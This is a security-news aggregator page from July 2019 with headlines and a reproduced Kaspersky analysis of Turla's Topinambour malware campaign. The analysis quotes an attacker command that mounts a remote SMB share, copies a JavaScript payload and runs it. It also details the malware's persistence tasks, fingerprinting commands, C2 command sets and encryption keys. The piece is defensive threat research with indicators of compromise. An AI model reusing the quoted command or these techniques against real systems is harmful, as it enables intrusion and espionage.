Viry a Červi

$5b privacy fine against Facebook seen as ‘chump change’

Sophos Naked Security - 16 Červenec, 2019 - 13:04
It's 200x greater than the largest fine ever for breaking a promise to improve privacy practices.

Ransomware attackers demand $1.8m from US college

Sophos Naked Security - 16 Červenec, 2019 - 12:35
The school, located in the Bronx and serving around 8,000 students, has declined to say whether it will pay up.

Asian consortium plans blockchain-based mobile ID system

Sophos Naked Security - 16 Červenec, 2019 - 12:14
A group of Asian companies want to create a blockchain-based service to turn your phone into a mobile ID system.

Amadeus! Amadeus! Pwn me Amadeus! Airline check-in bug may have exposed all y'all boarding passes to spies

The Register - Anti-Virus - 16 Červenec, 2019 - 12:00
Patched IDOR hole would have been child's play to exploit

Updated  A now-patched vulnerability in the Amadeus flight reservation system – used by airlines around the planet – could, or may, have been exploited by miscreants to view strangers' boarding passes.…

Kategorie: Viry a Červi

Alan Turing chosen for the UK’s new £50 note – a cracking result!

Sophos Naked Security - 16 Červenec, 2019 - 03:28
In case you were wondering, scientists really can change the world, and change it for the better, too.

Privacy Experts: Facebook’s $5B Fine Unlikely to Do Much - 16 Červenec, 2019 - 00:07
The FTC has levied its biggest fine ever against the social network, but it's unlikely to have much effect.
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Turla APT Returns with New Malware, Anti-Censorship Angle - 15 Červenec, 2019 - 22:55
A dropper called “Topinambour" is the first-stage implant, which in turn fetches a spy trojan built in several coding languages.
Kategorie: Viry a Červi

Symantec share price nose dives after rumored Broadcom biz gobble taken off the menu

The Register - Anti-Virus - 15 Červenec, 2019 - 20:55
Looks like the ailing security shop priced itself out of an acquisition by chip giant

Symantec's share price has plunged on reports that its planned merger with Broadcom has fallen through.…

Kategorie: Viry a Červi

Instagram bug could have allowed anyone to take over your account

Sophos Naked Security - 15 Červenec, 2019 - 20:06
The good news is that Facebook updated Instagram's server-side defences automatically, so you don't have to do anything to fix this one.

Researcher Bypasses Instagram 2FA to Hack Any Account - 15 Červenec, 2019 - 17:53
An independent researcher earned a $30,000 bug bounty after discovering a weakness in the mobile recovery process.
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Bust the password for an air-gapped machine – with its keyboard LEDs

Sophos Naked Security - 15 Červenec, 2019 - 15:07
Researchers have developed a technique for reading data from air-gapped PCs using LEDs. Cue dynamic hacker music now!

Why Cities Are a Low-Hanging Fruit For Ransomware - 15 Červenec, 2019 - 15:00
In this first part of a two part series, Shawn Taylor with Forescout talks to Threatpost about lessons learned from helping Atlanta remediate and recover from its massive ransomware attack.
Kategorie: Viry a Červi

Apple quietly removes Zoom’s hidden web server from Macs

Sophos Naked Security - 15 Červenec, 2019 - 13:31
In the latest twist in the saga of the web-conferencing app, Apple has issued a ‘silent’ update removing Zoom's hidden web server from Macs.

FCC underwhelmed by carriers’ sluggish robocall efforts

Sophos Naked Security - 15 Červenec, 2019 - 13:10
The FCC in June called for carriers to provide free, default robocall blocking services. One month later, plans are "far from clear."

Ransomware attackers, US mayors say you should go jump in a lake

Sophos Naked Security - 15 Červenec, 2019 - 12:34
The US Conference of Mayors has unanimously adopted a resolution not to pay any more ransoms to hackers.

Turla renews its arsenal with Topinambour

Kaspersky Securelist - 15 Červenec, 2019 - 12:00

Turla, also known as Venomous Bear, Waterbug, and Uroboros, is a Russian speaking threat actor known since 2014, but with roots that go back to 2004 and earlier. It is a complex cyberattack platform focused predominantly on diplomatic and government-related targets, particularly in the Middle East, Central and Far East Asia, Europe, North and South America and former Soviet bloc nations.

2019 has seen the Turla actor actively renew its arsenal. Its developers are still using a familiar coding style, but they’re creating new tools. Here we’ll tell you about several of them, namely “Topinambour” (aka Sunchoke – the Jerusalem artichoke) and its related modules. We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves.

The new modules were used in an active campaign that started at the beginning of 2019. As usual, the actor targeted governmental entities. The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan. Moreover, this actor now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak. Among the control servers there are several legitimate but compromised WordPress websites with the actor’s .php scripts on them.

This time, the developers left some Easter eggs for the targets and researchers. The .NET modules include amusing strings such as “TrumpTower” as an initial vector for RC4 encryption. “RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and “MiamiBeach” serve as the first beacon messages from the victim to the control server.

How Topinambour spreads

To deliver all this to targets, the operators use legitimate software installers infected with the Topinambour dropper. These could be tools to circumvent internet censorship, such as “Softether VPN 4.12” and “psiphon3”, or Microsoft Office “activators”.

The dropper contains a tiny .NET shell that will wait for Windows shell commands from the operators. Using this and SMB shares on rented virtual private servers (VPS), the campaign operators spread the next-stage modules using just “net use” and “copy” Windows shell commands. It’s hard to believe, but SMB still works through public networks.

These campaign-related VPSs are located in South Africa. Interestingly, their external IP addresses start with “197.168”. Possibly these first two bytes are there to mimic LAN addresses that start with “192.168”. Lateral movements in the target’s infrastructure show how familiar the campaign operators are with the IPv6 protocol. Along with IPv4 they use the newer version for shell commands and LAN addresses.

What Topinambour wants from the targets

The purpose of all this infrastructure and modules in JavaScript, .NET and PowerShell is to build a “fileless” module chain on the victim’s computer consisting of an initial small runner and several Windows system registry values containing the encrypted remote administration tool. The tool does all that a typical Trojan needs to accomplish: upload, download and execute files, fingerprint target systems. The PowerShell version of the Trojan also has the ability to get screenshots.

Trojan Command set JavaScript exit upld inst wait dwld .NET #down #upload #timeout #stop #sync PowerShell #upload #down #screen #timeout #stop #sync

Even the command system in the different Trojans is quite similar

Interesting technical features

A plausible hypothesis for developing similar malware in different languages could be to avoid detection: if one version is detected on the victim’s computer, the operators can try an analogue in a different language. In the table below, we compare Trojans in terms of encryption keys in use and initial messages to control servers.

Trojan RC4 encryption key Initial beacon to C2 JavaScript KopiLuwak 01a8cbd328df18fd49965d68e2879433 “bYVAoFGJKj7rfs1M” plus hash based upon Windows installation date .NET TrumpTower RocketMan! PowerShell TimesNewRoman MiamiBeach

For some reason, the developers prefer to entertain targets and researchers instead of randomizing strings

Our analysis of the dropper is based on the sample below:

SHA256 8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284
MD5 110195ff4d7298ba9a186335c55b2d1f
Compiled 2018.09.10 12:08:14 (GMT)
Size 1 159 680
Original name topinambour.exe

The dropper sample on which our analysis is based implements the following features:

Dropper function Features unpack_p Drops payload to %LOCALAPPDATA%/VirtualStore/certcheck.exe. The “p” in the function name and corresponding resource in the dropper stands for “payload” make_some_noise Gains persistence for payload with a scheduled task that starts every 30 minutes unpack_o Drops the original application that the dropper tries to mimic (such as psiphon3) to %TEMP%/activator.exe and runs it. Here “o” in the function name and corresponding resource in the dropper stands for “original”

The Topinambour authors decided to name the remote shell persistence function “make_some_noise()”

Dropped tiny .NET remote shell

The tiny dropped application gets Windows shell commands from the C2 and silently executes them.

The Topinambour tiny .NET shell first tries to get commands from an external IP, which looks like a LAN, and then continues with possibly infected LAN IPs

The first DWORD (four bytes) received after a TCP request to the C2 is the data size for the following communication. Then the data contained in the next packets will be the Windows shell command to silently execute the application using “cmd.exe /c”. And that’s it – straightforward, simple and useful.

KopiLuwak dropper

This is where the notorious KopiLuwak comes into play. The .NET remote shell silently downloads scripts from the C2 – from the opened SMB share on a remote CELL-C VPS in South Africa to be precise. “Net use” and “copy” Windows shell commands are enough to fulfil the task.

cmd.exe /c net use \\\c$ <user_pass_here> /user:administrator & copy /y \\\c$\users\public\documents\i.js $documents\j.js & $documents\j.js

As a result, the victim is infected with a KopiLuwak obfuscated JavaScript.

Deobfuscated KopiLuwak dropper that puts the RC4 decryption key into the scheduler task for next-stager persistence

Its functions are described in the table below:

Script function Features Create scheduler task Creates a task with the name ProactiveScan, description “NTFS Volume Health Scan”, which runs C:\Users\<user_name_here>\AppData\Roaming\Microsoft\Chkdsk.js with the parameters “-scan Kdw6gG7cpOSZsBeH”, where the parameter is the RC4 decryption key Fingerprint host Saves a set of commands such as systeminfo, net view, tasklist /v, gpresult /z, dir \x22%programfiles%\x5cKaspersky Lab\x22, tracert to
%appdata%\Microsoft\x5ct235.dat Drop next JavaScript Drops C:\Users\<user_name_here>\AppData\Roaming\Microsoft\Chkdsk.js

The dropped “Chkdsk.js” decrypts one more script using the RC4 key provided in the dropper’s scheduled task and runs the decrypted code. This final stager is a more complex Trojan, able to parse and execute custom commands from the C2.

The operators get the victim’s data in XML format: every message has a 16-byte signature at the beginning and a victim-specific fingerprint that the developer calls “ridid”.

Constant Bytes Value and features magic 16 Every encrypted message from the infected host starts with this. In the samples described, the magic bytes are ‘bYVAoFGJKj7rfs1M’. ridid 32 Hash value, based on Windows installation date and the aforementioned 16-byte magic value RC4 iv 32 RC4 initial vector to encrypt communication between the target and the C2. In the samples described, the IV value is “01a8cbd328df18fd49965d68e2879433”

Decrypted and deobfuscated target hashing algorithm, based on Windows installation date and 16-byte hardcoded string

The malware communicates with a legitimate compromised WordPress-based website and gets four byte length commands from URL like “http://<legitimate domain>/wp-includes/Requests/Socks.php”. First, the malware beacons to its C2 and gets the command to execute as an answer.

Command Features exit Send “t235.dat” fingerprinting file content with “upl” text in the XML message, delete the file and stop script execution upld Send “t235.dat” content with “upl” text in XML message. If no such file exists, or it’s empty, it sends “opt file no exists or size limit” text in the XML message inst Command format is:

  • – three bytes after command – overall server response length
  • – three following bytes – they are “jss”
  • – Tail – JavaScript to execute

Send ‘good install’ and “t235.dat” content in the XML messages. Save executed JavaScript file as %APPDATA%\Microsoft\ghke94d.jss wait Do nothing dwld Command format is the same as for the “inst” command, but the script from the server will not be executed at once. It saves the decrypted JavaScript as %APPDATA%\Microsoft\awgh43.js and sends ‘success get_parse_command’ in the XML message KopiLuwak JavaScript

The downloaded script takes a binary from the Windows registry and runs it. The registry subkeys and values vary from target to target.

The slightly obfuscated script used to run the payload from registry

It is not completely clear how the registry keys were created; however, the attackers usually use the .NET initial infector for that. In some samples, there is an additional function to get the victim´s MAC address.

This is the end of first “JavaScript” infection chain. Now, let’s also briefly describe the second .NET-based chain.

.NET RocketMan Trojan

We call this Trojan RocketMan after the string the developer uses for beaconing. Another string inside this malware is “TrumpTower”, used as an RC4 encryption initial vector.

This malware reads the C2 IP and port from the registry where it was saved by the previous stager. It processes the following commands from its C2 that are received encrypted over HTTP:

Command Features #down Make HTTP POST request to http://<config_ip>:<config_port>/file to download the file with the provided name to the victim’s computer #upload Make HTTP GET request to http://<config_ip>:<config_port>/update, decrypt server response and upload the file to the server with the provided path and name #timeout Get the pause length from the server command argument and wait #stop Make HTTP GET request to http://<config_ip>:<config_port>/exit, stop the Trojan operation #sync Send encrypted “RocketMan!” string to the server PowerShell MiamiBeach Trojan

Last but not least, the developers behind the Topinambour campaign also used a PowerShell Trojan. This Trojan contains around 450 strings and uses “TimesNewRoman” as the RC4 initial vector to encrypt C2 communications.

This module beacons to its hardcoded C2 with the string “MiamiBeach” using an HTTP POST. The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally, it includes the “#screen” command to take a screenshot.


The reason behind the development of KopiLuwak’s PowerShell and .NET analogues may be simply to minimize detection of the well-known, publicly discussed JavaScript versions. Using the Windows system registry to store encrypted data that is later used by the malware also seems to be aimed at minimizing detection and reducing the digital footprint on any victim’s computer, where only a tiny starter would be left.

It’s a bit surprising, amusing and not entirely clear why the developers have used some seemingly US-related strings such as “RocketMan!”, “TrumpTower” or “make_some_noise”. They are hardly likely to serve as false flags. The usage of KopiLuwak, a well-known and exclusive artefact previously used by the Turla group, makes us attribute this campaign to this actor with high confidence.

Indicators of compromise C2 HTTP GET templates
  • http://<config_ip>:<config_port>/file
  • http://<config_ip>:<config_port>/update
  • http://<config_ip>:<config_port>/exit
Some campaign-related MD5 hashes
  • 47870ff98164155f088062c95c448783
  • 2c1e73da56f4da619c4c53b521404874
  • 6acf316fed472300fa50db54fa6f3cbc
  • 9573f452004b16eabd20fa65a6c2c1c4
  • 3772a34d1b731697e2879bef54967332
  • d967d96ea5d0962e08844d140c2874e0
  • a80bbd753c07512b31ab04bd5e3324c2
  • 37dc2eb8ee56aeba4dbd4cf46f87ae9a
  • 710f729ab26f058f2dbf08664edb3986
Domains and IPs VPSs used as control servers

Monday review – the hot 22 stories of the week

Sophos Naked Security - 15 Červenec, 2019 - 11:16
From a Ruby gem backdoor to the things that keep IT managers awake - and everything in between. It's weekly roundup time.

Malicious code ousted from PureScript's npm installer – but who put it there in the first place?

The Register - Anti-Virus - 15 Červenec, 2019 - 08:04
Account hijacking claimed by some but it may just be a developer behaving badly

Another JavaScript package in the npm registry - the installer for PureScript - has been tampered with, leading project maintainers to revise their software to purge the malicious code.…

Kategorie: Viry a Červi

New old Windows bug emerges, your 'strong' password is anything but, plus plenty more

The Register - Anti-Virus - 15 Červenec, 2019 - 07:31
What you need to know from infosec land lately

Roundup  Here is a brief look at some of the other security stories floating around right now.…

Kategorie: Viry a Červi

Threatlist: 68% of Overwhelmed IT Managers Can’t Keep Up with Cyberattacks - 14 Červenec, 2019 - 21:54
Most respondents in a recent survey say they're losing the battle despite having up-to-date protections in place.
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